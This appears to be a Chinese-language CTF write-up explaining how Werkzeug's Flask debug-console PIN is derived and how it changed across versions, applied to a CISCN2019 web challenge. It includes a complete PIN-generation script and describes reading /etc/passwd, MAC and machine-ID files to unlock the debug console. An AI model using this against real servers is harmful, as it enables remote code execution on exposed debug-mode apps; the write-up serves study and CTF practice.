暂无简介
最近在刷题,刷到了CISCN2019 华东南赛区的web4题,读到源码后发现需要去修改Session的值,但看到下面开启了flask的debug,就想着去构造pin码进控制台读取flag,结果后面怎么构造都不对,于是简单研究了下
参数的具体内容
根据网上文章,pin码主要由六个参数构成,主要是username,modname,getattr(app, "__name__", app.__class__.__name__),getattr(mod, "__file__", None),str(uuid.getnode()), get_machine_id()
这六个参数构成,生成pin码的代码则是在werkzeug.debug.__init__.get_pin_and_cookie_name
,这里以Mac系统为例,直接下断点跟踪
跟踪到186行,probably_public_bits
和private_bits
即构成pin码的两个参数数组,其中,username
的获取如图所示,实际上就是运行当前程序的用户的用户名,这里是我的主机名forthrglory
接下来是modname
,这里取的是app
对象的__module__
属性,如果不存在的话取类的__module__属性
,默认为flask.app
再往后和modname
类似,获取的是当前app
对象的__name__
属性,不存在则获取类的__name__
属性,默认为Flask
接着是取mod
的__file__
属性,而mod
实际上就是flask.app
模块对象,因此最终获取到的__file__
属性就是flask
包内app.py
的绝对路径,这个路径一般情况下都是/usr/local/lib/python{版本号}/site-packages/flask/app.py
,在开启了debug
的情况下可以通过报错获取,需要注意的是,在python2中,这个值是app.pyc
,在python3中才是app.py
再往下,private_bits
的第一个属性通过str(uuid.getnode())
获取,这里实际上就是当前网卡的物理地址的整型,可以通过int(MAC, 16)
获取,文件读取则是
接着是get_machine_id
,这是构造的重点,跟进函数
红框内是重点,首先从/proc/self/cgroup
中读取第一行,如果存在,则使用value.strip().partition("/docker/")[2]
进行分割,并取分割后的最后一位,这里对应着docker
容器的读取方式,容器会共享相同的机器ID。如果读不到的话,继续往下走
接着会去两个文件/etc/machine-id
和/proc/sys/kernl/random/boot_id
中国呢读取,这里对应着Linux
系统的读取方式,前者是linux
系统的机器ID,后者
则是跟内核相关,每次开机重新生成一个,并非唯一
如果这两个文件还是读取不到,继续往下走
这里是Mac os的生成文件,会去执行ioreg -c IOPlatformExpertDevice -d 2
命令,然后取"serial-number" = <{ID}$
中ID部分,当然,如果这里还找不到,继续往下走
在Windows系统中去读取注册表中的机器ID,路径就是HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
,读取到了直接return
,读取不到,返回空
到这儿参数的来历都清楚了,做个总结
probably_public_bits = [
username运行当前程序的用户名
modname 当前对象的模块名,默认为flask.app
getattr(app, "__name__", app.__class__.__name__) 当前对象的名称,默认为Flask
getattr(mod, "__file__", None) flask包内的app.py的绝对路径
]
private_bits = [
str(uuid.getnode()) Mac地址的整型,通过int(Mac, 16)可以获取
get_machine_id()[
docker /proc/self/cgroup,正则分割
Linux /etc/machine-id,/proc/sys/kernl/random/boot_id,前者固定后者不固定
macOS ioreg -c IOPlatformExpertDevice -d 2中"serial-number" = <{ID}部分
Windows 注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
]
]
接下来做个实践
直接运行,debug的pin码为327-292-702
收集所有信息(涉及隐私部分打码)
probably_public_bits = [
forthrglory
flask.app
Flask
/Users/forthrglory/opt/anaconda3/lib/python3.7/site-packages/flask/app.py
]
private_bits = [
ac:de:48:xx:xx:xx
4d443650000000000000000000xxxxxxxxxxxxxxxxxxxxxxx0000000000000000000000000000000000000
]
]
直接附上脚本
import hashlib
from itertools import chain
import argparse
def getMd5Pin(probably_public_bits, private_bits):
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode(‘utf-8’)
h.update(bit)
h.update(b’cookiesalt’)
num = None
if num is None:
h.update(b’pinsalt’)
num = (‘%09d’ % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = ‘-‘.join(num[x:x + group_size].rjust(group_size, ‘0’)
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getSha1Pin(probably_public_bits, private_bits):
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode(“utf-8”)
h.update(bit)
h.update(b”cookiesalt”)
num = None
if num is None:
h.update(b”pinsalt”)
num = f”{int(h.hexdigest(), 16):09d}”[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = “-“.join(
num[x: x + group_size].rjust(group_size, “0”)
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
def macToInt(mac):
mac = mac.replace(“:”, “”)
return str(int(mac, 16))
if name == ‘main‘:
parse = argparse.ArgumentParser(description = “Calculate Python Flask Pin”)
parse.add_argument(‘-u’, ‘–username’,required = True, type = str, help = “运行flask用户的用户名”)
parse.add_argument(‘-m’, ‘–modname’, type = str, default = “flask.app”, help = “默认为flask.app”)
parse.add_argument(‘-a’, ‘–appname’, type = str, default = “Flask”, help = “默认为Flask”)
parse.add_argument(‘-p’, ‘–path’, required = True, type = str, help = “getattr(mod, ‘file‘, None):flask包中app.py的路径”)
parse.add_argument(‘-M’, ‘–MAC’, required = True, type = str, help = “MAC地址”)
parse.add_argument(‘-i’, ‘–machineId’, type = str, default = “”, help = “机器ID”)
args = parse.parse_args()
probably_public_bits = [
args.username,
args.modname,
args.appname,
args.path
]
private_bits = [
macToInt(args.MAC),
bytes(args.machineId, encoding = ‘utf-8’)
]
md5Pin = getMd5Pin(probably_public_bits, private_bits)
sha1Pin = getSha1Pin(probably_public_bits, private_bits)
print(“Md5Pin: “ + md5Pin)
print(“Sha1Pin: “ + sha1Pin)
这里我在原有的代码基础上修改了下,稍后会说明
可以看到成功的构造出了pin码
然而,当你用这个思路去跑题目时,你会发现根本没办法成功,原因很简单,时代变了大人
pin码的前世今生
在github上搜索werkzeug
,跟进历史记录
实际上截止到2019年5月15号,代码只有linux
,mac
,windows
这三种系统的pin码的,不会考虑docker
的问题,直到5月15号更新
在此次更新中,添加了对docker容器的machine-id
获取方式
而在2020年1月5号的更新中
这次更新将容器的顺序往下移,并且修改了正则,一直沿用至今
2021年1月18号更新后,代码修改md5加密方式为sha1加密,因此代码中才会显示md5和sha1两种pin码
根据更新日志,得到
0.15.5(2019-7-17)之前 没有docker容器的machine-id
0.15.5(2019-7-17) - 0.16.0(2019-9-19) 修改docker容器的machine-id的正则
2.0.0(2021-5-11)之后 加密方式为sha1
#### CISCN2019 华东南赛区 web4测试
buuctf开启靶机
题目不在赘述,直接读相关参数
读取/etc/passwd,获取用户名glzjin
路径可以通过报错获得,我没爆出来.....(有没有师傅可以教一个百分百报错的方法),爆破得到路径/usr/local/lib/python2.7/site-packages/flask/app.py
Mac
地址读取/sys/class/net/{对应网卡}/address
,默认网卡eth0
读取machine-id
,docker
容器读取/proc/self/cgroup
,取第一行,利用正则value.strip().partition("/docker/")[2]
分割拿到数据,结果为空,继续走,取/etc/machine-id
,文件不存在,则去读/proc/sys/kernel/random/boot_id
,拿到0e5d30fa-26d7-42e1-a736-fc8a2e419c51
最终汇聚参数如下
probably_public_bits = [
glzjin
flask.app
Flask
/usr/local/lib/python2.7/site-packages/flask/app.pyc
]
private_bits = [
92:a0:2e:1e:8d:52
0e5d30fa-26d7-42e1-a736-fc8a2e419c51
]
跑出来pin码,访问/console
然后输入pin码即可
总结
pin码需要六个参数
1. 运行当前程序的用户名,可以通过/etc/passwd尝试
2. 对象app的__module__属性,没有则从类中取,默认为flask.app
3. 对象app的__name__属性,没有则从类中取,默认为Flask
4. flask包中的app文件绝对路径,python2为pyc,默认为/usr/local/lib/python{版本号}/site-packages/flask/app.py
5. Mac地址的整型
6. 机器ID
docker /proc/self/cgroup,正则分割
Linux /etc/machine-id,/proc/sys/kernl/random/boot_id,前者固定后者不固定
macOS ioreg -c IOPlatformExpertDevice -d 2中"serial-number" = <{ID}部分
Windows 注册表HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography->MachineGuid
加密方式
python2绝大部分为md5加密,python3少部分为md5,大部分为sha1加密
机器id读取顺序不同
0.15.5
之前
/etc/machine-id
->/proc/sys/kernel/random/boot_id
->ioreg -c IOPlatformExpertDevice -d 2
->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
0.15.5-0.16.0
/proc/self/cgroup
->/etc/machine-id
->/proc/sys/kernel/random/boot_id
->ioreg -c IOPlatformExpertDevice -d 2
->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
/proc/self/cgroup
需要用正则value.strip().partition("/docker/")[2]
分割
0.16.0之后
/etc/machine-id
->/proc/sys/kernel/random/boot_id
->/proc/self/cgroup
->ioreg -c IOPlatformExpertDevice -d 2
->HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid
/proc/self/cgroup
需要用正则f.readline().strip().rpartition(b"/")[2]
分割
参考文章:
- 本文作者: Forthrglory
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11647
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!